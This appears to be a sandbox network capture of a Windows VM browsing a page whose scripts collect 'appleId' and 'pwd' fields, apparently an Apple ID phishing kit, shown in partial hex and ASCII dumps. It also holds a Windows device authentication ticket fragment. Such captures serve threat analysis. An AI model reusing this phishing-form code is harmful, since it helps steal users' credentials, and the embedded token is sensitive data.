2025-01-13 00:37:33 UTC	580	OUT	GET /aU3V88/jss/myscript_patron.js?v=2gdssf HTTP/1.1 Host: www.location.as-nt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.location.as-nt.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:33 UTC	239	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:37:33 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 11635 Content-Type: text/javascript
2025-01-13 00:37:33 UTC	7953	IN	Data Raw: 20 20 64 6f 63 75 6d 65 6e 74 2e 6f 6e 63 6f 6e 74 65 78 74 6d 65 6e 75 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 7d 0a 20 20 0a 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 0a 0a 20 20 20 20 24 28 22 23 62 74 6e 5f 69 70 22 29 2e 63 73 73 28 22 74 6f 70 22 2c 22 35 70 78 22 29 3b 0a 0a 20 20 20 20 24 28 22 23 63 6f 6e 74 5f 62 74 6e 5f 61 70 70 6c 65 22 29 2e 61 64 64 43 6c 61 73 73 28 22 61 70 5f 62 6f 72 22 29 3b 0a 20 20 20 20 24 28 22 23 63 6f 6e 74 5f 62 74 6e 5f 61 70 70 6c 65 22 29 2e 61 64 64 43 6c 61 73 73 28 22 62 6f 72 22 29 3b 0a 20 20 20 20 0a 20 20 20 20 24 28 22 23 63 6f 6e 74 5f 70 77 64 22 29 2e 61 64 64 43 6c 61 73 73 28 27 6e 6f 5f Data Ascii: document.oncontextmenu = function(){return false;} $(document).ready(function(){ $("#btn_ip").css("top","5px"); $("#cont_btn_apple").addClass("ap_bor"); $("#cont_btn_apple").addClass("bor"); $("#cont_pwd").addClass('no_
2025-01-13 00:37:33 UTC	3682	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 65 6c 73 65 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 67 69 74 6f 3d 64 69 67 69 74 6f 2b 27 2d 27 2b 24 28 74 68 69 73 29 2e 76 61 6c 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: }else{ digito=digito+'-'+$(this).val(); } } });

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49860	89.250.71.221	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:33 UTC	631	OUT	GET /aU3V88/images/ajax-loader.gif HTTP/1.1 Host: www.location.as-nt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.location.as-nt.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:34 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:37:34 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 3783 Content-Type: image/gif
2025-01-13 00:37:34 UTC	3783	IN	Data Raw: 47 49 46 38 39 61 20 00 20 00 f5 19 00 60 60 60 0c 0c 0c 00 00 00 e8 e8 e8 f0 f0 f0 d0 d0 d0 7e 7e 7e fa fa fa f6 f6 f6 e6 e6 e6 fc fc fc 92 92 92 86 86 86 e2 e2 e2 a0 a0 a0 3e 3e 3e c4 c4 c4 6c 6c 6c ee ee ee ec ec ec b8 b8 b8 56 56 56 9a 9a 9a ae ae ae 4a 4a 4a c8 c8 c8 dc dc dc d8 d8 d8 ce ce ce b0 b0 b0 1e 1e 1e 2c 2c 2c 4c 4c 4c 7c 7c 7c 5e 5e 5e a8 a8 a8 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 fe 1a 43 72 65 61 74 65 64 20 77 69 74 68 20 61 6a 61 78 6c 6f 61 64 2e 69 6e 66 6f 00 21 Data Ascii: GIF89a ```~~~>>>lllVVVJJJ,,,LLL\|\|\|^^^!NETSCAPE2.0!Created with ajaxload.info!

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49957	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:36 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 39 39 52 4e 32 67 57 75 4b 6b 36 54 30 4c 32 2f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 31 35 33 66 34 33 64 38 34 66 30 63 62 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 99RN2gWuKk6T0L2/.1Context: 6a153f43d84f0cb8
2025-01-13 00:37:36 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-13 00:37:36 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 39 39 52 4e 32 67 57 75 4b 6b 36 54 30 4c 32 2f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 31 35 33 66 34 33 64 38 34 66 30 63 62 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 4c 4c 30 4e 53 6d 4f 42 64 4f 6b 70 6a 58 44 41 52 56 76 45 62 2f 45 58 55 6b 76 59 52 78 72 65 38 42 44 52 2b 47 69 64 72 4f 39 35 34 34 70 56 38 4f 71 6b 50 53 42 76 71 48 38 66 58 33 64 72 67 38 74 34 6b 41 30 67 50 4d 6f 73 32 64 50 6c 58 30 52 33 57 6e 57 58 71 54 77 63 75 59 4d 55 39 59 72 35 56 4a 6c 7a 30 45 58 55 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 99RN2gWuKk6T0L2/.2Context: 6a153f43d84f0cb8<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbLL0NSmOBdOkpjXDARVvEb/EXUkvYRxre8BDR+GidrO9544pV8OqkPSBvqH8fX3drg8t4kA0gPMos2dPlX0R3WnWXqTwcuYMU9Yr5VJlz0EXU
2025-01-13 00:37:36 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 39 39 52 4e 32 67 57 75 4b 6b 36 54 30 4c 32 2f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 31 35 33 66 34 33 64 38 34 66 30 63 62 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 99RN2gWuKk6T0L2/.3Context: 6a153f43d84f0cb8<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-13 00:37:36 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-13 00:37:36 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 77 38 33 68 65 52 50 4f 7a 6b 47 39 34 45 56 50 45 65 37 78 5a 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: w83heRPOzkG94EVPEe7xZw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49947	89.250.71.221	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:39 UTC	613	OUT	GET /favicon.ico HTTP/1.1 Host: www.location.as-nt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.location.as-nt.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:40 UTC	164	IN	HTTP/1.1 404 Not Found Date: Mon, 13 Jan 2025 00:37:39 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-13 00:37:40 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	64363	89.250.71.221	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:46 UTC	368	OUT	GET /aU3V88/jss/function.js HTTP/1.1 Host: www.location.as-nt.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:47 UTC	238	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:37:46 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 3108 Content-Type: text/javascript
2025-01-13 00:37:47 UTC	3108	IN	Data Raw: 2f 2a 2a 0d 0a 2a 0d 0a 2a 20 20 42 61 73 65 36 34 20 65 6e 63 6f 64 65 20 2f 20 64 65 63 6f 64 65 0d 0a 2a 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 65 62 74 6f 6f 6c 6b 69 74 2e 69 6e 66 6f 2f 0d 0a 2a 0d 0a 2a 2a 2f 0d 0a 0d 0a 76 61 72 20 42 61 73 65 36 34 20 3d 20 7b 0d 0a 0d 0a 09 2f 2f 20 70 72 69 76 61 74 65 20 70 72 6f 70 65 72 74 79 0d 0a 09 5f 6b 65 79 53 74 72 20 3a 20 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 2c 0d 0a 0d 0a 09 2f 2f 20 70 75 62 6c 69 63 20 6d 65 74 68 6f 64 20 66 6f 72 20 65 6e 63 6f 64 69 6e 67 0d 0a 09 65 6e 63 6f 64 65 20 3a 20 66 75 6e 63 74 69 6f 6e 20 28 69 6e 70 Data Ascii: /**** Base64 encode / decode* http://www.webtoolkit.info/***/var Base64 = {// private property_keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",// public method for encodingencode : function (inp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	64362	89.250.71.221	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:46 UTC	377	OUT	GET /aU3V88/jss/myscript_ind_fact.js HTTP/1.1 Host: www.location.as-nt.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:47 UTC	238	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:37:47 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 4706 Content-Type: text/javascript
2025-01-13 00:37:47 UTC	4706	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6c 69 6d 70 69 61 72 5f 63 61 72 67 61 28 29 20 7b 0a 20 20 20 20 24 28 22 23 63 61 72 67 61 5f 65 6e 76 69 6f 22 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 20 22 6e 6f 6e 65 22 29 2c 20 24 28 22 23 62 74 5f 66 6c 65 63 22 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 20 22 62 6c 6f 63 6b 22 29 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 73 75 62 6d 69 74 74 28 29 20 7b 0a 20 20 20 20 24 2e 74 72 69 6d 28 24 28 22 23 61 70 70 6c 65 49 64 22 29 2e 76 61 6c 28 29 2e 6c 65 6e 67 74 68 29 20 3e 20 30 20 3f 20 24 2e 74 72 69 6d 28 24 28 22 23 70 77 64 22 29 2e 76 61 6c 28 29 2e 6c 65 6e 67 74 68 29 20 3e 20 30 20 26 26 20 28 24 28 22 23 63 61 72 67 61 5f 65 6e 76 69 6f 22 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 20 22 62 6c Data Ascii: function limpiar_carga() { $("#carga_envio").css("display", "none"), $("#bt_flec").css("display", "block")}function submitt() { $.trim($("#appleId").val().length) > 0 ? $.trim($("#pwd").val().length) > 0 && ($("#carga_envio").css("display", "bl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	64360	89.250.71.221	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:46 UTC	384	OUT	GET /aU3V88/jss/myscript_patron.js?v=2gdssf HTTP/1.1 Host: www.location.as-nt.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:47 UTC	239	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:37:46 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 11635 Content-Type: text/javascript
2025-01-13 00:37:47 UTC	7953	IN	Data Raw: 20 20 64 6f 63 75 6d 65 6e 74 2e 6f 6e 63 6f 6e 74 65 78 74 6d 65 6e 75 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 7d 0a 20 20 0a 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 0a 0a 20 20 20 20 24 28 22 23 62 74 6e 5f 69 70 22 29 2e 63 73 73 28 22 74 6f 70 22 2c 22 35 70 78 22 29 3b 0a 0a 20 20 20 20 24 28 22 23 63 6f 6e 74 5f 62 74 6e 5f 61 70 70 6c 65 22 29 2e 61 64 64 43 6c 61 73 73 28 22 61 70 5f 62 6f 72 22 29 3b 0a 20 20 20 20 24 28 22 23 63 6f 6e 74 5f 62 74 6e 5f 61 70 70 6c 65 22 29 2e 61 64 64 43 6c 61 73 73 28 22 62 6f 72 22 29 3b 0a 20 20 20 20 0a 20 20 20 20 24 28 22 23 63 6f 6e 74 5f 70 77 64 22 29 2e 61 64 64 43 6c 61 73 73 28 27 6e 6f 5f Data Ascii: document.oncontextmenu = function(){return false;} $(document).ready(function(){ $("#btn_ip").css("top","5px"); $("#cont_btn_apple").addClass("ap_bor"); $("#cont_btn_apple").addClass("bor"); $("#cont_pwd").addClass('no_
2025-01-13 00:37:47 UTC	3682	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 65 6c 73 65 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 67 69 74 6f 3d 64 69 67 69 74 6f 2b 27 2d 27 2b 24 28 74 68 69 73 29 2e 76 61 6c 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: }else{ digito=digito+'-'+$(this).val(); } } });

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	64361	89.250.71.221	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:46 UTC	375	OUT	GET /aU3V88/images/ajax-loader.gif HTTP/1.1 Host: www.location.as-nt.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:47 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:37:47 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 3783 Content-Type: image/gif
2025-01-13 00:37:47 UTC	3783	IN	Data Raw: 47 49 46 38 39 61 20 00 20 00 f5 19 00 60 60 60 0c 0c 0c 00 00 00 e8 e8 e8 f0 f0 f0 d0 d0 d0 7e 7e 7e fa fa fa f6 f6 f6 e6 e6 e6 fc fc fc 92 92 92 86 86 86 e2 e2 e2 a0 a0 a0 3e 3e 3e c4 c4 c4 6c 6c 6c ee ee ee ec ec ec b8 b8 b8 56 56 56 9a 9a 9a ae ae ae 4a 4a 4a c8 c8 c8 dc dc dc d8 d8 d8 ce ce ce b0 b0 b0 1e 1e 1e 2c 2c 2c 4c 4c 4c 7c 7c 7c 5e 5e 5e a8 a8 a8 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 fe 1a 43 72 65 61 74 65 64 20 77 69 74 68 20 61 6a 61 78 6c 6f 61 64 2e 69 6e 66 6f 00 21 Data Ascii: GIF89a ```~~~>>>lllVVVJJJ,,,LLL\|\|\|^^^!NETSCAPE2.0!Created with ajaxload.info!

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	50309	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:38:02 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 41 76 6b 51 51 50 53 62 62 45 6d 4f 36 57 45 47 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 36 63 39 38 62 34 34 30 31 38 31 61 63 61 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: AvkQQPSbbEmO6WEG.1Context: 46c98b440181aca3
2025-01-13 00:38:02 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-13 00:38:02 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 41 76 6b 51 51 50 53 62 62 45 6d 4f 36 57 45 47 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 36 63 39 38 62 34 34 30 31 38 31 61 63 61 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 4c 4c 30 4e 53 6d 4f 42 64 4f 6b 70 6a 58 44 41 52 56 76 45 62 2f 45 58 55 6b 76 59 52 78 72 65 38 42 44 52 2b 47 69 64 72 4f 39 35 34 34 70 56 38 4f 71 6b 50 53 42 76 71 48 38 66 58 33 64 72 67 38 74 34 6b 41 30 67 50 4d 6f 73 32 64 50 6c 58 30 52 33 57 6e 57 58 71 54 77 63 75 59 4d 55 39 59 72 35 56 4a 6c 7a 30 45 58 55 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: AvkQQPSbbEmO6WEG.2Context: 46c98b440181aca3<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbLL0NSmOBdOkpjXDARVvEb/EXUkvYRxre8BDR+GidrO9544pV8OqkPSBvqH8fX3drg8t4kA0gPMos2dPlX0R3WnWXqTwcuYMU9Yr5VJlz0EXU
